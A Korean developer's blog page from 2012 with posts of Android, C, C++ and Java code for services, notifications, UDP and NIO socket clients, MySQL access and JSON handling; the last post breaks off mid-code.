'k1rha`s Node'에 해당되는 글 388건

  1. 2012.08.03 [ Android ] [펌] Service 띄워서 알람 띄우기 코드
  2. 2012.08.03 [ Android ] Service 가 떠져 있는지 안떠져 있는지 체크하기
  3. 2012.08.03 [ Android ] Notification 띄우기
  4. 2012.08.03 [ Android ] UDP Client 소스
  5. 2012.08.02 [ Android ] Custom ListView Library
  6. 2012.07.30 [ Android ] Thread 에서 Main UI 변경하기 Handler 사용하기 예제 코드
  7. 2012.07.27 [ C ] Mysql 접속하고 데이터 베이스 사용할 때 쓴 예제 코드
  8. 2012.07.26 [ C++ ] IOCP 서버 구현 크리티컬 섹션 동기화
  9. 2012.07.26 [ Android ] 좀 쉽게 만든 JAVA JSON parsor CLASS
  10. 2012.07.26 [ Android , Java ] IOCP client 구현
  11. 2012.07.26 [ Android ] Thread 에서 MainActivity UI 쓰레드 참조 시 오류와 해결법
  12. 2012.07.24 [ metasploit ] 미터프리터 스크립트 사용
  13. 2012.07.24 [ Metasploit ] About Scanner
  14. 2012.07.19 PHP-CGI 취약점. php 소스 보기 FRI 걸기
  15. 2012.07.18 [ Android ] Json 방식으로 묶기.
  16. 2012.07.18 [ python 3.2 ] thread -> _thread
  17. 2012.07.18 stdout 으로 표준 출력 되는 값을 변수로 저장하여 가져오기.
  18. 2012.07.18 [ python 3.2 ] UDP sendto Error 이유와 해결법
  19. 2012.07.18 backtrack 으로 packet sniffing 하기
  20. 2012.07.17 IPTIME 해킹 관련 내용 1
  21. 2012.07.16 [ python ] LIST 미리 선언해주기
  22. 2012.07.16 [ python ] 파일을 뒤에서 부터 불러오고 싶을 때.. seek 오류관련
  23. 2012.07.14 webhacking.kr 53번 문제 (procedure 로 테이블명 찾기)
  24. 2012.07.12 webhacking.kr 2번 (500점) 문제 설명 (beist 블라인드 2번)
  25. 2012.07.12 [ python ] webhacking.kr를 위한 본 파이썬 블라인드 인젝터 코드 (컬럼명을 알았을 시)
  26. 2012.07.11 webhacking.kr 50번(450점) 문제 설명 (SQL 구문중 무의미한 스트링은 무시)
  27. 2012.07.11 webhacking.kr 40번 (500점) 문제 설명 (ascii 없이 블라인드)
  28. 2012.07.11 [python 3.2 ] FTP 관련 python 코드
  29. 2012.07.11 [python 3.2 ] socket Server Client 예제 코드
  30. 2012.07.10 [android] 영상처리 NDK 단에서 처리하여 리턴하기 (Image Processing in NDK) 5
2012. 8. 3. 22:56

[출처 :http://blog.naver.com/khs7515?Redirect=Log&logNo=20155866934 ] 




Service란 액티비티와는 반대로 눈에 보이지 않는 작업 단위를 처리하는 객체이다.

   Thread와 다른점은 Thread는 Activity와 생명주기를 함께 하지만 Service는 스스로의 생명주기를 가지고 있기 때문에

   따로 종료해주지 않는 이상 앱을 종료해도 살아있다.


# 본 예제는 시작 버튼을 누르면 서비스를 상속받은 페이지로 이동해서 Thread를 실행시키고 Thread가 10초 단위로 5개의 메세지를 

   순서대로 handler에 보낸다. handler는 받은 메세지를 Notification(알림)을 통해서 출력한다.


*************************************** MainActivity.java ******************************************


package test.day10.service;


/*

 * [ 안드로이드 4대요소 ]

 *  

 * 1. Activity - 실체 사용자를 대면하고 입력을 받는 것

 * 2. Service - 레이아웃이 없는데 뭔가 작업한다. 감시를 한다던가..(manifest등록해야한다)

 * 3. Alarm 

 * 4. ContentProvider - 콘텐츠 공급 객체(다른 어플의 자원, 사진, 동영상, 음악을 읽어올때)

 * 

 */

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;


public class MainActivity extends Activity {

    /** Called when the activity is first created. */

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.main);

    }

    //서비스 시작 시키기

    public void start(View v){

     //인텐트 객체 생성

     Intent intent = new Intent(this, MyService.class);

     //서비스 시작시키기

     startService(intent);

    

    }

    //서비스 종료 시키기

    public void end(View v){

     //인텐트 객체 생성

     Intent intent = new Intent(this, MyService.class);

     //서비스 종료시키기

     stopService(intent);

    }

}


*************************************** MyService.java ******************************************


package test.day10.service;



import android.app.Notification;

import android.app.NotificationManager;

import android.app.PendingIntent;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.os.Message;

import android.widget.Toast;

//manifest에 등록해야함.

public class MyService extends Service{


//알림을 띄울 것이므로 

NotificationManager notiManager;

//thread

ServiceThread thread;

//알림을 중복을 피하기 위한 상태값

final int MyNoti = 0;

@Override

public IBinder onBind(Intent intent) {

//할일 없음

return null;

}

//서비스가 시작되면 onstartcommand가 호출된다. 

@Override

public int onStartCommand(Intent intent, int flags, int startId) {

/*

 * 서비스에서 수행할 작업을 수행시키고 재빨리 리턴한다.

 * 시간이 오래 걸리면 서비스가 취소된다.

 * 액티비티는 생명주기가 있지만 서비스는 생명주기가 없다(메모리가 부족하지 않다면 계속 백그라운드에 떠있다.)

 * ex. 카카오톡의 경우 새로운 메시지가 오는지 지속적으로 관찰하는 작업

 */

notiManager = (NotificationManager)getSystemService(Context.NOTIFICATION_SERVICE);

//백그라운드에서 작업할 내용을 초기화 하고 시작한다.

thread = new ServiceThread(handler);

//스레드 시작하기

thread.start();

return START_STICKY;

}

//서비스가 종료될 때 할 작업

public void onDestroy() {

//스레드 종료시키기

thread.stopForever();

thread=null;//쓰레기 값을 만들어서 빠르게 회수하라고 null을 넣어줌.

}

//백그라운드 스레드로부터 메세지를 받을 핸들러 객체 

Handler handler = new Handler(){

public void handleMessage(android.os.Message msg) {

//what으로 메시지를 보고 obj로 메시지를 받는다.(형변환필수)

//notification 객체 생성(상단바에 보여질 아이콘, 메세지, 도착시간 정의)

     Notification noti = new Notification(R.drawable.icon//알림창에 띄울 아이콘

     , "메시지 도착!", //간단 메세지

     System.currentTimeMillis()); //도착 시간

     //기본으로 지정된 소리를 내기 위해

     noti.defaults = Notification.DEFAULT_SOUND;

     //알림 소리를 한번만 내도록

     noti.flags = Notification.FLAG_ONLY_ALERT_ONCE;

     //확인하면 자동으로 알림이 제거 되도록

     noti.flags = Notification.FLAG_AUTO_CANCEL;

     //사용자가 알람을 확인하고 클릭했을때 새로운 액티비티를 시작할 인텐트 객체

     Intent intent = new Intent(MyService.this, MainActivity.class);

     //새로운 태스크(Task) 상에서 실행되도록(보통은 태스크1에 쌓이지만 태스크2를 만들어서 전혀 다른 실행으로 관리한다)

     intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

     //인텐트 객체를 포장해서 전달할 인텐트 전달자 객체

     PendingIntent pendingI = PendingIntent.getActivity(MyService.this, 0, intent, 0);

     //받아온 메시지 담기

     String arrivedMsg = (String)msg.obj;

     //상단바를 드래그 했을때 보여질 내용 정의하기

     noti.setLatestEventInfo(MyService.this, "[새 메세지]", arrivedMsg, pendingI);

     //알림창 띄우기(알림이 여러개일수도 있으니 알림을 구별할 상수값, 여러개라면 상수값을 달리 줘야 한다.)

     notiManager.notify(MyNoti, noti);

     //토스트 띄우기

     Toast.makeText(MyService.this, arrivedMsg, 0).show();

    

}

};


}



*************************************** ServiceThread.java ******************************************


package test.day10.service;


import android.os.Handler;

import android.os.Message;

/*

 * 서비스에서 사용할 스레드 클래스

 */

public class ServiceThread extends Thread{

//서비스 객체의 핸들러

Handler handler;

boolean isRun = true;

//예제로 서비스할 메세지

String msg[] = {"나는 서비스 입니다.", "액티비티와 상관없이 살아있습니다.", "메세지1", "메세지2", "메세지3"};

//생성자

public ServiceThread(Handler handler){

this.handler = handler;

}

//스레드 정지 시키는 메소드

public void stopForever(){

synchronized (this) {

this.isRun = false;

notify();

}

}

int index;

//스레드 본체

public void run(){

//반복적으로 수행할 작업을 한다.

while(isRun){

//핸들러로 들어오는 메시지별로 다르게 동작.

String message = msg[index];

index++;

//핸들러에 전달할 Message 객체 생성하기

Message m = new Message();

if(index==4) index = 0;

if(index==3) {

m.what = 1;

m.obj = message;

}else{

m.what = 0;

m.obj = message;

}

//핸들러에 메세지를 보낸다.

handler.sendMessage(m);

try{

Thread.sleep(10000); //10초씩 쉰다.

}catch (Exception e) {}

}

}

}



*************************************** main.xml ******************************************


<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:orientation="vertical"

    android:layout_width="fill_parent"

    android:layout_height="fill_parent"

    >

<TextView  

    android:layout_width="fill_parent" 

    android:layout_height="wrap_content" 

    android:text="서비스 테스트"

    />

    <Button android:layout_width="fill_parent"

    android:layout_height="wrap_content"

    android:text="서비스 시작"

    android:onClick="start"/>

    <Button android:layout_width="fill_parent"

    android:layout_height="wrap_content"

    android:text="서비스 종료"

    android:onClick="end"/>

</LinearLayout>



*************************************** AndroidManifest.xml ******************************************



<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

      package="test.day10.service"

      android:versionCode="1"

      android:versionName="1.0">

    <uses-sdk android:minSdkVersion="8" />


    <application android:icon="@drawable/icon" android:label="@string/app_name">

        <activity android:name=".MainActivity"

                  android:label="@string/app_name">

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

<service android:name=".MyServiceandroid:enabled="true"/>

    </application>

</manifest>

Posted by k1rha
2012. 8. 3. 22:52

서비스를 띄우고 액티비티가 종료시 다시 띄울때 서비스를 체크해 줘야 한다.


private Boolean isServiceRunning(String serviceName) {

ActivityManager activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
for (RunningServiceInfo runningServiceInfo : activityManager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceName.equals(runningServiceInfo.service.getClassName())) {
return true;
}
}
return false;


Posted by k1rha
2012. 8. 3. 22:48


 public void MessageCloass() {

// mValue++;
// mText.setText(Integer.toString(mValue));

mNotiManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);

Notification noti = new Notification(R.drawable.ic_launcher,
"링크허브 메시지", System.currentTimeMillis());
noti.defaults |= Notification.DEFAULT_SOUND;
// 진동 사용
noti.defaults |= (Notification.DEFAULT_SOUND | Notification.DEFAULT_VIBRATE);
// 커스텀 진동
noti.vibrate = new long[] { 1000, 1000, 500, 500, 200, 200, 200, 200,
200, 200 };
noti.flags |= Notification.FLAG_INSISTENT;

Intent intent = new Intent(linkhub_main.this, linkhub_main.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
PendingIntent content = PendingIntent.getActivity(linkhub_main.this, 0,
intent, 0);
noti.setLatestEventInfo(linkhub_main.this, "링크허브 메시지", "메시지가 도착하였습니다.",content);

mNotiManager.notify(linkhub_main.NAPNOTI, noti);








 public void MessageCloass() {

// mValue++;
// mText.setText(Integer.toString(mValue));

mNotiManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);

Notification noti = new Notification(R.drawable.ic_launcher,
"링크허브 메시지", System.currentTimeMillis());
noti.defaults |= Notification.DEFAULT_SOUND;
// 진동 사용
noti.defaults |= (Notification.DEFAULT_SOUND | Notification.DEFAULT_VIBRATE);
// 커스텀 진동
noti.vibrate = new long[] { 1000, 1000, 500, 500, 200, 200, 200, 200,
200, 200 };
noti.flags |= Notification.FLAG_INSISTENT;

//Intent intent = new Intent();
//intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// PendingIntent contentIntent = PendingIntent.getActivity(linkhub_main.this, 0, new Intent(this,linkhub_main.class),0);

// PendingIntent content = PendingIntent.getActivity(linkhub_main.this, 0, intent,0);
// startService(intent);
//noti.setLatestEventInfo(context, contentTitle, contentText, contentIntent)
noti.setLatestEventInfo(linkhub_main.this, "링크허브 메시지", "메시지가 도착하였습니다.", pendingIntent());
mNotiManager.notify(linkhub_main.NAPNOTI, noti);
}
public PendingIntent pendingIntent() {
Intent i = new Intent(getApplicationContext(), linkhub_main.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, i, 0);
cancelNotivication();
return pi;
}
public void cancelNotivication(){
mNotiManager.cancelAll();
}

Posted by k1rha
2012. 8. 3. 22:41

package tae.NetworkClient;
 
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import android.util.Log;
 
public class NetworkUDP {
    private static final String serverIP = "10.0.2.2"; //serverIP를 추가합니다.
    private static final int port = 8000; //서버에서 설정한 UDP 포트번호를 추가합니다.
    private String msg;
    private String return_msg;
         
    public NetworkUDP(String _msg) {
        this.msg = _msg;
    }
     
    public String run() {
        try {
            DatagramSocket socket = new DatagramSocket();
             
            InetAddress serverAddr = InetAddress.getByName(serverIP);
             
//TCP와 다르게 UDP는 byte단위로 데이터를 전송합니다. 그래서 byte를 생성해줍니다.
            byte[] buf = new byte[128];
             
            //받아온 msg를 바이트 단위로 변경합니다.
            buf = msg.getBytes();
             
            //DatagramPacket를 이용하여 서버에 접속합니다.
            DatagramPacket Packet = new DatagramPacket(buf, buf.length, serverAddr, port);
            Log.d("UDP", "sendpacket.... " + new String(buf));
            socket.send(Packet);
            Log.d("UDP", "send....");
            Log.d("UDP", "Done.");
 
            socket.receive(Packet);
            Log.d("UDP", "Receive" + new String(Packet.getData()));
 
            //데이터를 받아와 return_msg에 복사합니다.
            return_msg = new String(Packet.getData());
 
        } catch (Exception ex) {
            Log.d("UDP", "C: Error", ex);
            }
        return return_msg;
       }
}

Posted by k1rha
2012. 8. 2. 15:35

SO ListView 라이브러리 - 1.0 입니다.

안드로이드 개발 할 때Custom listView 를 간편하게 구현 할 수 있게 랩핑된 라이브러리 입니다.

사용법 문의및 추가 기능이 필요하신 분들은 댓글 남겨주시기 바랍니다.


[출처 : http://iapptocompany.tistory.com/3 ]


SOListViewLibSample.zip


엄청 편하게 잘되어있다. 

Posted by k1rha
2012. 7. 30. 20:39

Thread 에서 소켓 통신을 하고, 그 값을 받아 올때마다  UI를 변경 시켜 주고싶을때, MainActivity를 그대로 넘겨버릴 수도 있지만, 그렇게 되는 경우 Activity의 전환시 그 통신을 계속 할수가 없다. 


Thread 를 다시 생성하여 그 Activity를 넘겨줘야 하기 때문이다. 

이런경우 우리는 singletone pattern 과 Handler를 이용하여 완벽히 해결 할 수 있다. 


우선 Handler 란? 

Thread 에서 UI 같은 Main Thread 의 값을 변경해 주기 위해서 MainThread 의 역할을 잠깐 위임해 주는 것이다.

C#에서는 delegate가 비슷한 역할을 한다. 


사용법은 아래의 출처 예제코드가 가장 간단하고 이해하기 편하다.

http://www.cyworld.com/aspire1127/5581351


사용을 예로들면 

우선 MainActivity 에 Handler 클래스를 선언해 준다.

Override 를 통해 HandlerMessage를 재정의해준다. 


MainAcitivity 의 위 선언부

  public Handler hMain = new Handler() {

@Override

public void handleMessage(Message msg) {

IntentMainToGame(); //MainActivity의 함수이다.

}

};


MainAcitivity->IntentMainToGame()

  public void IntentMainToGame() {

 Toast toast = Toast.makeText(getBaseContext(),"회원가입 완료",Toast.LENGTH_SHORT);

 toast.setGravity(Gravity.CENTER,0, 0);

 toast.show();

Log.e("-------------------------", "thread");

Intent intent = new Intent(MainActivity.this,GameActivity.class);

 startActivity(intent);

}



그리고 MainActivity에서 Thread 를 생성시에 이 핸들러를 넘겨준다.

MainAcitivity 내 thread 호출시..

  mScoketClient.startServer(hMain);




Thread 안에 Thread 시에도 이 핸들러 값만 이어서 가져가 주면된다.

private Handler mHandle=null;
       public void startServer(Handler _handle) {
this.mHandle = _handle;
}



이후에 이 핸들러의 sendMessage를 통하여 인자값을 전하고 원하는 메소드를 호출 시킬수 있다.
Thread 안 메시지 로 sendMessage 호출

 Message msg = Message.obtain(mHandle,0,0);
mHandle.sendMessage(msg);




Posted by k1rha
2012. 7. 27. 13:51

아.. 출처가 기억나질 않는다. 

일단 아래와 같은 방식으로 DB연결하고 값을 불러오는데 성공.

테이블이 이미 존재할때 가능한 코드이다. 
"select * from test";  는 test 테이블에 있는 모든값을 가져온다는 구문이고 안에는 컬럼이 2개 존재한다.



 void Database(){

char* query="select * from test"; // 실행할 쿼리

int len;

MYSQL* conn_ptr; // MySQL과의 연결을 담당

MYSQL_RES* res; // 쿼리에 대한 결과를 받는 변수

MYSQL_ROW row; // 쿼리에 대한 실제 데이터 값이 들어있는 변수

conn_ptr=mysql_init(NULL); // 초기화


if(!conn_ptr){

DisplayText("mysql_init failed!!\n");

// printf("mysql_init failed!!\n");

}

// MySQL에 연결

conn_ptr=mysql_real_connect(conn_ptr, HOST, USER, PASS, NAME, 3306, (char*)NULL, 0);

if(conn_ptr){

DisplayText("연결 성공\n");

// printf("연결 성공\n");

}else{

DisplayText("연결 실패\n");

//printf("연결 실패\n");

}

// 쿼리 실행

// mysql_query() 실행 후 반환값이 0이어야 성공

len=mysql_query(conn_ptr, query);

res=mysql_store_result(conn_ptr); // 전속한 결과 값을 MYSQL_RES 변수에 저장

// 쿼리 결과 값 출력

while((row=mysql_fetch_row(res))!=NULL){ // 한 ROW 씩 얻어 온다

DisplayText("%s %s\n", row[0], row[1]);

//printf("%s %s\n", row[0], row[1]); // 결과 값 출력

}

// 할당 된 메모리 해제

mysql_free_result(res); 

mysql_close(conn_ptr);


//scanf("%d",len);

}



Posted by k1rha
2012. 7. 26. 22:06

IOCP 서버 구현 



#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

#include "resource.h"


using namespace std;


#define WM_MYSOCKET_NOTIFY (WM_APP+0)  //WSAAsyncSelect에 쓰일 네트워크 이벤트 발생시 Post될 메시지

#define MAXLINE 1024


BOOL CALLBACK ClientDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);  //클라이언트 다이얼로그 프로시져

BOOL CALLBACK ConnectDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);  //연결 다이얼로그 프로시져

void OnConnect();  //연결 함수

void OnMySocketNotify(WPARAM wParam,LPARAM lParam);  //SEND,WRITE,CLOSE 발생시 수행하는 함수

void Disconnect();  //연결 해제 함수

void DisplayText(char *fmt,...);  //화면에 출력 함수


HINSTANCE hInst;

HWND hClientDlg,hEditContent,hEditSendMsg,hBTSend,hBTConnect,hBTDisconnect;

char IPAddr[20]="127.0.0.1";

int PortNum=5056;

SOCKET ClientSocket;

char Buffer[MAXLINE];  //메시지 저장 변수


int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPreInstance,LPSTR lpCmdLine,int nCmdShow) {

hInst=hInstance;

//윈속 초기화

WSADATA WsaData;

if(WSAStartup(MAKEWORD(2,2),&WsaData)!=0) {

MessageBox(NULL,"윈속 초기화 실패!","ERROR",MB_OK);

return 0;

}

//다이얼로그 생성 및 실행

DialogBox(hInst,MAKEINTRESOURCE(IDD_CLIENT_DLG),NULL,ClientDlgProc);

//윈속 종료

closesocket(ClientSocket);

WSACleanup();

return 0;

}

//클라이언트 다이얼로그 프로시져

BOOL CALLBACK ClientDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) {

switch(uMsg) {

case WM_INITDIALOG:

hClientDlg=hDlg;

hEditContent=GetDlgItem(hDlg,IDC_EDIT_CONTENT);

hEditSendMsg=GetDlgItem(hDlg,IDC_EDIT_SENDMSG);

hBTSend=GetDlgItem(hDlg,IDC_BT_SEND);

hBTConnect=GetDlgItem(hDlg,IDC_BT_CONNECT);

hBTDisconnect=GetDlgItem(hDlg,IDC_BT_DISCONNECT);

return TRUE;

case WM_COMMAND:

switch(LOWORD(wParam)) {

case IDC_BT_CONNECT:

DialogBox(hInst,MAKEINTRESOURCE(IDD_CONNECT_DLG),NULL,ConnectDlgProc);

break;

case IDC_BT_DISCONNECT:

Disconnect();

break;

case IDC_BT_SEND:

GetDlgItemText(hDlg,IDC_EDIT_SENDMSG,Buffer,MAXLINE-1);

DisplayText("[SEND MSG] %s\n",Buffer);

SendMessage(hDlg,WM_MYSOCKET_NOTIFY,ClientSocket,WSAMAKESELECTREPLY(FD_WRITE,0));

SetDlgItemText(hDlg,IDC_EDIT_SENDMSG,"");

break;

}

return TRUE;

case WM_MYSOCKET_NOTIFY:

OnMySocketNotify(wParam,lParam);

return TRUE;

case WM_CLOSE:

EndDialog(hDlg,0);

return TRUE;

}

return FALSE;

}

//연결 다이얼로그 프로시져

BOOL CALLBACK ConnectDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) {

switch(uMsg) {

case WM_INITDIALOG:

SetDlgItemText(hDlg,IDC_IPADDRESS,IPAddr);

SetDlgItemInt(hDlg,IDC_EDIT_PORTNUM,PortNum,FALSE);

return TRUE;

case WM_COMMAND:

switch(LOWORD(wParam)) {

case IDC_BT_CONNETOK:

GetDlgItemText(hDlg,IDC_IPADDRESS,IPAddr,sizeof(IPAddr));

PortNum=GetDlgItemInt(hDlg,IDC_EDIT_PORTNUM,NULL,FALSE);

SendMessage(hDlg,WM_CLOSE,0,0);

//서버에 접속

OnConnect();

break;

}

return TRUE;

case WM_CLOSE:

EndDialog(hDlg,0);

return TRUE;

}

return FALSE;

}

//연결 함수

void OnConnect() {

//Socket 생성

ClientSocket=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,WSA_FLAG_OVERLAPPED);

if(ClientSocket==INVALID_SOCKET) {

DisplayText("[ERROR] Socket 생성 실패!\n");

return;

}else DisplayText("[SUCCESS] Socket 생성 성공!\n");

//주소 정보 설정

SOCKADDR_IN ServerAddr;

ZeroMemory(&ServerAddr,sizeof(SOCKADDR_IN));

ServerAddr.sin_family=AF_INET;

ServerAddr.sin_addr.s_addr=inet_addr(IPAddr);

ServerAddr.sin_port=htons(PortNum);

DisplayText("서버에 접속중.....\n");

//Connect

if(connect(ClientSocket,(PSOCKADDR)&ServerAddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {

DisplayText("[ERROR] Connect 실패!\n");

closesocket(ClientSocket);

return;

}else DisplayText("[SUCCESS] Connect 성공!\n");

//WSAAsyncSelect 실행

if(WSAAsyncSelect(ClientSocket,hClientDlg,WM_MYSOCKET_NOTIFY,FD_READ|FD_WRITE|FD_CLOSE)==SOCKET_ERROR) {

DisplayText("[ERROR] WSAAsyncSelect 실패!\n");

closesocket(ClientSocket);

return;

}else DisplayText("[SUCCESS] WSAAsyncSelect 성공!\n");

//버튼 상태 변경

EnableWindow(hEditSendMsg,TRUE);

EnableWindow(hBTSend,TRUE);

EnableWindow(hBTDisconnect,TRUE);

EnableWindow(hBTConnect,FALSE);


DisplayText("Connect!!!\n");

}

//SEND,WRITE,CLOSE 발생시 수행하는 함수

void OnMySocketNotify(WPARAM wParam,LPARAM lParam) {

int nEvent=WSAGETSELECTEVENT(lParam);

if(nEvent==FD_READ) {

ZeroMemory(Buffer,sizeof(Buffer));

recv(ClientSocket,Buffer,sizeof(Buffer),0);

DisplayText("[RECV MSG] %s\n",Buffer);

}

else if(nEvent==FD_WRITE) {

send(ClientSocket,Buffer,strlen(Buffer),0);

}

else if(nEvent==FD_CLOSE) {

Disconnect();

}

}

//연결 해제 함수

void Disconnect() {

//소켓 닫기

closesocket(ClientSocket);

//버튼 상태 변경

EnableWindow(hEditSendMsg,FALSE);

EnableWindow(hBTSend,FALSE);

EnableWindow(hBTDisconnect,FALSE);

EnableWindow(hBTConnect,TRUE);

DisplayText("서버와 연결이 끊어짐.\n");

}

//화면에 출력 함수

void DisplayText(char *fmt,...) {

va_list arg;

va_start(arg,fmt);

char cbuf[MAXLINE+256];

vsprintf(cbuf,fmt,arg);

int nLength=GetWindowTextLength(hEditContent);

SendMessage(hEditContent,EM_SETSEL,nLength,nLength);

SendMessage(hEditContent,EM_REPLACESEL,FALSE,(LPARAM)cbuf);

va_end(arg);

}

Posted by k1rha
2012. 7. 26. 15:39

멤버십 과제중 프로토콜 맞추기가 너무 시간이 오래 걸림에 있어 JSON 규약으로 통신을 맞추기로 했다.

게임 개발자의 편의를 맞추기 위해 JSON 방식을 좀더 사용하기 편하게 객체화 시켜 보았다. 


이 포스팅은 오로지 필자가 개인용도로 만든 것이기 때문에, 다른 사용자에게는 오히려 불편할 수 있음을 미리 전한다.

Main Activity


        JsonHandler json = new JsonHandler();

        json.putJsonInit();  //json 초기화 부분.. 값을 입력하기전 반드시 해야한다.

        

        json.putJson("key1","test1");  //key 값과 value 값을 이어서 필요할때마다 추가해 줄수 있다.

        json.putJson("key2","test2");

        json.putJson("key3","test3");

        

        String aaa = json.putJsonFinish();   //obj 를 다만들었으면 그것을 array에 추가하는 부분이다. 필요에 따라서 여러개의 오브젝트를 배열로 추가해주는 방식으로 변경할 수 있다.

        Log.e("check"," JSON FINAL STRING "+aaa);  //JSON ARRAY 전체 문자열 출력 

      

        json.getJsonInit(aaa);   //JSON array 안에 obj 형식으로 들어오는 JSON 만 파싱 가능하다.

       

        Log.e("result value",":::: resutl : "+json.getJson("key1"));  //getjson 으로 값을 가져 올 수 있다.

        Log.e("result value",":::: resut2 : "+json.getJson("key2"));






JsonHandler.java

 package JsonHandler;


import org.json.JSONArray;

import org.json.JSONException;

import org.json.JSONObject;

import android.util.Log;


public class JsonHandler {

String json_string = null;

String[] jsonGet = new String[20];


String json_ex = "[{\"key01\":\"aaaa\",\"key02\":\"bbbb\"}]";


JSONArray ParseJsonArray = null;

JSONObject ParsejsonRoot = null; // 0번째 라인...다중 배열시엔 for문

JSONArray combineJsonArray = null;

JSONObject combineJsonObject = null;



public JsonHandler() {

ParseJsonArray = null;

ParsejsonRoot = null;

combineJsonArray = null;

combineJsonObject = null;

}

/*JSON 에서 파싱된 값을 가져오기 위한 메소드 */



public void getJsonInit(String _jsonValue) {

try {

ParseJsonArray = new JSONArray(_jsonValue);

ParsejsonRoot = ParseJsonArray.getJSONObject(0);

} catch (JSONException e) {

e.printStackTrace();

}


}


public String getJson(String _key) {

String result=null;

try {

result = ParsejsonRoot.getString(_key);

//소켓 메소드 쪽으로 호출 

} catch (JSONException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

return result;

}



/*JSON 으로  만들기 관련된 메소드들 */

public void putJsonInit(){

combineJsonObject = new JSONObject();

}

public void putJson(String _key,String _value){

try {

combineJsonObject.put(_key, _value);


} catch (Exception e) {

Log.e("JSON Combine", ":::::array Error " + e.toString());

}

}

public String putJsonFinish(){

combineJsonArray = new JSONArray();


String result = null;

if(combineJsonObject.length()<2){

result = "Object is empty";

}else{

combineJsonArray.put(combineJsonObject);

result = combineJsonArray.toString();

//소켓으로 쏴주기 

}

return result;

}


}



Posted by k1rha
2012. 7. 26. 04:34

멤버십 과제중 안드로이드로 게임통신을 해야하는 부분에서 자바에 WSASelect 가 없으므로 비동기 소켓을 보내고 받는것이 익숙치 않았다. IOCP 소켓이란 것이 이미 윈도우의 이벤트를 이용 하는 것이기 때문에, 자바에서는 100% 맞는 통신은 없지만, 아래와 같이 channel selector 를 이용하여 비슷한 효과로 비동기 소켓을 처리 할 수 있다. 


자바는 WSAselect 가 없기 때문에 IOCP 통신을 해주기위해서 select 개념을 사용해야 한다. 


MainActivity.java


 import android.os.Bundle;

import android.app.Activity;


public class MainActivity extends Activity {


    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

    

SimpleChatClient scc = new SimpleChatClient();

scc.initServer();

scc.startServer();

    }

}




SimpleChatClient.java

 

package com.example.iocpclient;


import java.io.IOException;

import java.net.InetSocketAddress;

import java.nio.ByteBuffer;

import java.nio.channels.SelectionKey;

import java.nio.channels.Selector;

import java.nio.channels.SocketChannel;

import java.nio.charset.CharacterCodingException;

import java.nio.charset.Charset;

import java.nio.charset.CharsetDecoder;

import java.util.Iterator;


import android.util.Log;


public class SimpleChatClient {


private static final String HOST = "210.118.64.148";

private static final int PORT = 5056;


private Selector selector = null;

private SocketChannel sc = null;


private Charset charset = null;

private CharsetDecoder decoder = null;

public SimpleChatClient(){//Handler MainAct) {


charset = Charset.forName("EUC-KR");

decoder = charset.newDecoder();

}


public void initServer() {


try {


// open Selector

selector = Selector.open();

// 소켓채널을 생성한다.

sc = SocketChannel.open(new InetSocketAddress(HOST, PORT));

// 비 블록킹 모드로 설정한다.

sc.configureBlocking(false);

// 서버소켓 채널을 셀렉터에 등록한다.

sc.register(selector, SelectionKey.OP_READ);

} catch (IOException ex) {


Log.e("aaa", "_____________________1" + ex.toString());

System.exit(0);

// log(Level.WARNING, "SimpleChatClient.initServer()", ex);

}

}


public void startServer() {

//startWriter();

Thread tWriter = new WriteThread(sc);

tWriter.start();

/*쓰레드 추가 */

ReaderThread tReader = new ReaderThread();

tReader.start();

}

public class ReaderThread extends Thread {

public ReaderThread(){

}

public void run() {

try {

while (true) {

// info("요청을 기다리는중...");

// 셀렉터의 select() 메소드로 준비된 이벤트가 있는지 확인한다.

selector.select();

// 셀렉터의 SelectoedSet에 저장된 준비된 이벤트들(SelectionKey)을 하나씩 처리한다.

Iterator it = selector.selectedKeys().iterator();

while (it.hasNext()) {

SelectionKey key = (SelectionKey) it.next();

if (key.isReadable()) {

// 이미 연결된 클라이언트가 메시지를 보낸경우...

read(key);

}

// 이미 처리한 이벤트므로 반드시 삭제해준다.

it.remove();

}

}

} catch (Exception ex) {

// log(Level.WARNING ,"SimpleChatClient.startServer()", ex);

}

}

}class WriteThread extends Thread {


private SocketChannel sc = null;


public WriteThread(SocketChannel sc) {

this.sc = sc;

}


public void run() {


ByteBuffer buffer = ByteBuffer.allocateDirect(1024);

String message =null;


try {

sleep(400); //소켓 연결하는 동안 잠깐 대기. 

while (!Thread.currentThread().isInterrupted()) {

sleep(5); //초당 프레임 체크 

buffer.clear();

message=singletonMove.movement;  //싱글톤으로 가져온 변수값 


if (message.length() <2 || message==null) {

//Log.e("============","===============error NULL"+message);


} else {

if (message.equals("quit")|| message.equals("shutdown")) {

System.exit(0);

}


buffer.put(message.getBytes());

buffer.flip();

sc.write(buffer);

